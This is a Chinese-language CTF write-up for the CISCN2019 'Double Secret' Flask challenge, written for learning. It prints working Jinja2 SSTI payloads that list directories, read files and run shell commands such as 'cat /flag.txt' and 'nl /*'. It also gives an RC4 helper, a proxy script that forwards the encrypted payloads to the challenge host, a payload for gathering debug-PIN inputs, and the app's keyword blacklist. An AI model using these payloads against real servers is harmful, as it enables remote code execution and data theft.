[CISCN2019 华东南赛区]Double Secret

看完直接信息搜集
出了一个secret,直接访问,提示传一个secret,对面会编码它
/secret?secret=1 d/secret?secret=14aw d[XB/secret?secret=12345 报错了,python的debug这个debug就很有可玩的点了,计算pin码,源码泄露
可以看到的信息有

展开/app/app.py这个源码
File "/app/app.py", line 35, in secret if(secret==None): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure") #解密 deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a一个rc4加密,如果secret为空就返回Tell me your secret.I will encrypt it so others can\'t see不为空就调用safe处理rc4编码后的值,返回字符串给a,如果a的小写包含ciscn则返回flag被删了,其余返回a,这里把rce的密钥也暴露出来了
jinjia的payload#展示路径下的文件{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
#读取文件{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
{{cycler.next.__globals__.__builtins__.__import__('os').popen('nl /*').read()}}锤锤AI拿个RC4加密脚本,我们知道,要将payload加密以后才能传参过去。
def initialize_rc4_key(key): key_length = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % key_length]) % 256 S[i], S[j] = S[j], S[i] return S
def rc4_encrypt(key, plaintext): S = initialize_rc4_key(key) i = j = 0 ciphertext = [] for char in plaintext: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] ciphertext.append(chr(ord(char) ^ k)) return ''.join(ciphertext)
def main(): key = input("请输入密钥: ") plaintext = input("请输入要加密的字符串: ") encrypted_text = rc4_encrypt(key, plaintext) print("加密后的字符串: ", encrypted_text)
if __name__ == "__main__": main()ok,接下来我们玩点骚的,继续锤AI,在本地flask起一个,POST交data,rc4加密后发给题目的url,将题目url回显到本地。
from flask import Flask, request, jsonifyimport urllib.parseimport requests
app = Flask(__name__)
# RC4加密算法def rc4_encrypt(key, data): S = list(range(256)) j = 0 out = [] # 初始化S盒 for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] # 生成密钥流并加密 i = j = 0 for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256])) return ''.join(out)
@app.route('/', methods=['POST', 'GET'])def handle_request(): if request.method == 'POST': # 获取POST请求中的数据 data = request.form.get('data') if data: # 使用RC4加密数据 encrypted_data = rc4_encrypt('HereIsTreasure', data) # 构造GET请求的URL url = f'http://8bac6987-76e0-4569-8a95-5e53c13fb530.node5.buuoj.cn:81/secret?secret={urllib.parse.quote(encrypted_data)}' # 发送GET请求 response = requests.get(url) # 返回GET请求的响应内容 return response.text, response.status_code else: return jsonify({'status': 'error', 'message': 'No data provided'}), 400 elif request.method == 'GET': # 获取GET请求中的secret参数 secret = request.args.get('secret') if secret: # 处理GET请求(根据实际情况添加处理逻辑) # 这里我们只是返回接收到的secret return f'Received secret: {secret}', 200 else: return 'No secret provided', 200
if __name__ == '__main__': app.run(host='0.0.0.0', port=80, debug=False)之后就是常见的SSTI了,直接上fenjing梭哈就完了,查看app.py的时候发现报错了,应该是python2的原因,也可以用反弹shell,计算pin码
data={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}92:ab:45:07:68:11#!/usr/bin/env python3# -*- coding: utf-8 -*-#This .py gives flask ssti loopholefrom flask import Flaskfrom flask import render_templatefrom flask import requestfrom flask import render_template_stringimport rc4_Modified
app=Flask(__name__)
@app.route('/')def hello(): return 'Welcome To Find Secret'
@app.route('/robots.txt')def robots(): return 'It is Android ctf'
@app.route('/secret',methods=['GET','POST'])def secret(): def safe(s): black=['class','mro','subclasses','read','args','form','write', 'mro', '<', '>', '|', 'join' 'os', 'sys', 'pop', 'del', 'rm', 'eval', 'exec', 'ls', 'cat', ';', '&&', 'catch_warnings', 'func_globals', 'pickle', 'import', 'subprocess', 'commands', 'input', 'execfile', 'reload', 'compile', 'execfile', 'kill', 'func_code' ] for i in black: if i in s: return '\''+i+'\' is not allowed. Secret is '+s return s secret=request.args.get('secret') if(secret==None): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure") #解密 deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower(): return 'flag detected!' return a
if __name__=='__main__': app.run( debug=True, host="0.0.0.0" )# -*- coding: utf-8 -*-class RC4: def __init__(self,public_key = None): if not public_key: public_key = 'none_public_key' self.public_key = public_key self.index_i = 0 self.index_j = 0 self._init_box()
def _init_box(self): """ 初始化 置换盒 """ self.Box = [i for i in range(256)] key_length = len(self.public_key) j = 0 for i in range(256): index = ord(self.public_key[(i % key_length)]) j = (j + self.Box[i] + index ) % 256 self.Box[i],self.Box[j] = self.Box[j],self.Box[i] # for i in range(256):
def do_crypt(self,string): """ 加密/解密 string : 待加/解密的字符串 """
out = [] test=[] #print(len(string)) for s in string: self.index_i = (self.index_i + 1) % 256 self.index_j = (self.index_j + self.Box[self.index_i]) % 256 self.Box[self.index_i], self.Box[self.index_j] = self.Box[self.index_j], self.Box[self.index_i]
r = (self.Box[self.index_i] + self.Box[self.index_j]) % 256 R = self.Box[r] # 生成伪随机数 tmp=ord(s)^R test.append(tmp) out.append(chr(tmp)) #print(test) #print(len(test)) return ''.join(out) Thanks for reading!
